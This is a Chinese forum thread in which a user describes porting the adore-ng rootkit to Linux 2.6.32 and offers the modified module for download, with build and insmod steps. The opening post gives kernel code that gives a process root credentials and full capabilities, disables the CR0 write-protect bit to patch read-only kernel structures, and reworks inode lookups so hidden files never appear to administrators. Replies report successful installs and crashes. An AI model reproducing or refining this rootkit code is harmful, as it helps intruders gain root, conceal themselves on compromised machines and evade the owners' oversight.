【原創(chuàng)】rootkit工具adore-ng修改，適合高版本的內(nèi)核（如2.6.32）

lgqss

最近對(duì)以前的一個(gè)黑客工具adore-ng0.56版本進(jìn)行了修改，使其可以在ubuntu10.04（2.6.32）運(yùn)行，也可以在2.6.30上運(yùn)行，為了修改這個(gè)，死機(jī)n次。。。。

Adore-ng-0.56源碼分析見(jiàn)

http://linux.chinaunix.net/bbs/thread-1138561-1-1.html（感謝他）

由于2.6.32版本內(nèi)核與以前有一些不同，所以不能編譯

主要不同之處在于，

1.struct task_struct中關(guān)于權(quán)限的字段移到struct cred中去了

1. edit_cred->uid = 0;
   
2. 
   
3.               edit_cred->suid = 0;
   
4. 
   
5.               edit_cred->euid = 0;
   
6. 
   
7.            edit_cred->gid = 0;
   
8. 
   
9.               edit_cred->egid = 0;
   
10. 
    
11.            edit_cred->fsuid = 0;
    
12. 
    
13.               edit_cred->fsgid = 0;
    
14. 
    
15. 
    
16.               cap_set_full(edit_cred->cap_effective);
    
17. 
    
18.               cap_set_full(edit_cred->cap_inheritable);
    
19. 
    
20.               cap_set_full(edit_cred->cap_permitted);

復(fù)制代碼

2.關(guān)于操作的結(jié)構(gòu)都是const類型，直接修改引發(fā)oops錯(cuò)誤

所以先要去掉cr0寄存器的寫(xiě)保護(hù)，如下代碼

1. unsigned orig_cr0;   
   
2. 
   
3. /*清除cr0寄存器的寫(xiě)保護(hù)位，第16位為WP寫(xiě)保護(hù)位*/
   
4. 
   
5. unsigned clear_return_cr0(void)
   
6. 
   
7. {
   
8. 
   
9.        unsigned cr0 = 0;
   
10. 
    
11.        unsigned ret;
    
12. 
    
13.        asm volatile ("movl %%cr0, %%eax"
    
14. 
    
15.        :"=a"(cr0)
    
16. 
    
17.        );
    
18. 
    
19.        ret = cr0;
    
20. 
    
21.        cr0 &= 0xfffeffff;
    
22. 
    
23.        asm volatile ("movl %%eax, %%cr0"
    
24. 
    
25.        :
    
26. 
    
27.        :"a"(cr0)
    
28. 
    
29.        );
    
30. 
    
31.        return ret;
    
32. 
    
33. }
    
34. 
    
35. /*用orig_cr0恢復(fù)cr0寄存器*/
    
36. 
    
37. void setback_cr0(unsigned val)
    
38. 
    
39. {
    
40. 
    
41.        asm volatile ("movl %%eax, %%cr0"
    
42. 
    
43.        :
    
44. 
    
45.        :"a"(val)
    
46. 
    
47.        );
    
48. 
    
49. }

復(fù)制代碼

3.在文件隱藏中，iget函數(shù)已經(jīng)沒(méi)有了，相應(yīng)的super_operations里read_inode也沒(méi)有了，所以采用了新方法獲取inode

一開(kāi)始的想法是用iget_locked代替，但出現(xiàn)的問(wèn)題是：

（1）    如果文件從來(lái)沒(méi)訪問(wèn)過(guò)，那么文件inode不存在，這樣iget_locked會(huì)新建一個(gè)空的inode，但不會(huì)填充它，而且后面因?yàn)橛昧藆nlock_new_inode，使得以后獲取到該文件的inode都是空的，所以那些沒(méi)有訪問(wèn)過(guò)的文件以后都不能打開(kāi)了，ls –l得出的長(zhǎng)度什么的全是0

1. if (inode->i_state & I_NEW) {
   
2. 
   
3.         unlock_new_inode(inode);
   
4. 
   
5.         //printk("%lu\n", (unsigned long)inode);
   
6. 
   
7.         inode->i_state |= I_NEW;//沒(méi)有這句話，會(huì)造成文件系統(tǒng)內(nèi)所有第一次ls的新文件全部不可用
   
8. 
   
9. }

復(fù)制代碼

后來(lái)我想到的方法是加上一句inode->i_state |= I_NEW;這樣就重新標(biāo)記為新節(jié)點(diǎn)，有了這個(gè)標(biāo)記的后，文件體統(tǒng)相應(yīng)的iget函數(shù)（如ext4_iget）會(huì)填充它

（2）    上面的內(nèi)核inode破壞問(wèn)題解決了，還有個(gè)問(wèn)題是，如果inode沒(méi)緩存（即該文件從沒(méi)被打開(kāi)過(guò)），那么iget_locked會(huì)獲取到空的inode， 所以if (uid == ELITE_UID && gid == ELITE_GID)這句話在第一次運(yùn)行時(shí)永遠(yuǎn)不成立，所以第一次ls有需要隱藏文件的目錄時(shí)，我們要隱藏的文件還能看的見(jiàn)，第二次ls才會(huì)消失，因?yàn)榈诙�次我們得到的才是真正的inode。（這里說(shuō)明一下，ls命令要獲取文件信息，就需要打開(kāi)當(dāng)前目錄下所有文件獲取填充好的inode，內(nèi)核為每個(gè)文件調(diào)用一次ext4_iget）

這個(gè)應(yīng)該是很嚴(yán)重的問(wèn)題，我們本來(lái)是要隱藏文件的，但第一次能ls能看見(jiàn)，再次ls時(shí)消失掉，傻瓜也知道被入侵了。。。



后來(lái)我找到了第二種解決辦法，在ext4中有個(gè)函數(shù)是ext4_lookup，用來(lái)填充當(dāng)前目錄dentry，提供的參數(shù)是父目錄的inode，文件未連接的dentry（negative dentry），這個(gè)函數(shù)用來(lái)把dentry和inode連接起來(lái)（調(diào)用了ext4_iget來(lái)填充inode）。

1. 
   
2.        struct inode *inode = NULL;
   
3. 
   
4.        struct dentry *dentry = NULL;
   
5. 
   
6.        struct qstr this;
   
7. 
   
8.        struct dentry *dir = parent_dir[current->pid % 1024];
   
9. 
   
10. 
    
11.        this.name = name;
    
12. 
    
13.        this.len = nlen;
    
14. 
    
15.        this.hash = full_name_hash(this.name, this.len);
    
16. 
    
17.        dentry = d_lookup(dir, &this);//首先看系統(tǒng)中有沒(méi)有緩存
    
18. 
    
19.        if (!dentry) {
    
20. 
    
21.               dentry = d_alloc(dir, &this);
    
22. 
    
23.               if (!dentry) {
    
24. 
    
25.                      //printk("d_alloc失敗%d\n", (int)dentry);
    
26. 
    
27.                      return 0;
    
28. 
    
29.               }
    
30. 
    
31.               if(dir->d_inode->i_op->lookup(dir->d_inode, dentry, NULL) != 0) {
    
32. 
    
33.                      printk("lookup錯(cuò)誤\n");
    
34. 
    
35.                      return 0;
    
36. 
    
37.               }
    
38. 
    
39.        }
    
40. 
    
41.        if(!(inode = dentry->d_inode)) {
    
42. 
    
43.        //printk("inode獲取失敗\n");
    
44. 
    
45.        return 0;
    
46. 
    
47.        }
    

復(fù)制代碼

當(dāng)前修改還不是很穩(wěn)定，好像會(huì)出現(xiàn)內(nèi)核函數(shù)writeback_single_inode錯(cuò)誤，導(dǎo)致一些問(wèn)題，但把

       //iput(inode);

       //dput(dentry);，

注釋掉后好像又沒(méi)問(wèn)題了。

運(yùn)行方法

make

進(jìn)入root后

Insmod adore-ng.ko

然后可以用ava運(yùn)行命令了，詳細(xì)操作方法見(jiàn)我上面貼出的網(wǎng)址，也可以百度google搜索
adore-ng.rar (49.53 KB, 下載次數(shù): 385)

2010-05-16 15:03 上傳

點(diǎn)擊文件名下載附件

accessory

good. thx for sharing.

Godbach

多謝LZ分享。有時(shí)間的話在2.6.32的內(nèi)核上跑一下。

lgqss

多謝LZ分享。有時(shí)間的話在2.6.32的內(nèi)核上跑一下。
Godbach 發(fā)表于 2010-05-17 10:28

    多謝斑竹大大加分，

lgqss

good. thx for sharing.
accessory 發(fā)表于 2010-05-17 03:51

    多謝accessory 大大深夜踩樓，

accessory

還好，還好

scuhurricane

"第二種解決辦法，在ext4中有個(gè)函數(shù)是ext4_lookup" 。當(dāng)文件系統(tǒng)更是yaffs2時(shí)，對(duì)應(yīng)的是yaffs_lookup函數(shù)。當(dāng)程序執(zhí)行到if(dir->d_inode->i_op->lookup(dir->d_inode, dentry, NULL) != 0)
{            
       printk("lookup錯(cuò)誤\n");                  
       return 0;
  }

ls命令卡死，用dmesg查看并沒(méi)有打印出lookup錯(cuò)誤，也沒(méi)有繼續(xù)向后執(zhí)行。
何解？
難道這是yaffs2文件系統(tǒng)的bug？

guohegong

成功，謝謝樓主

guohegong

可以安裝成功，但是關(guān)機(jī)的時(shí)候死機(jī)

cherishchuntg

很想知道有沒(méi)有64位版本的？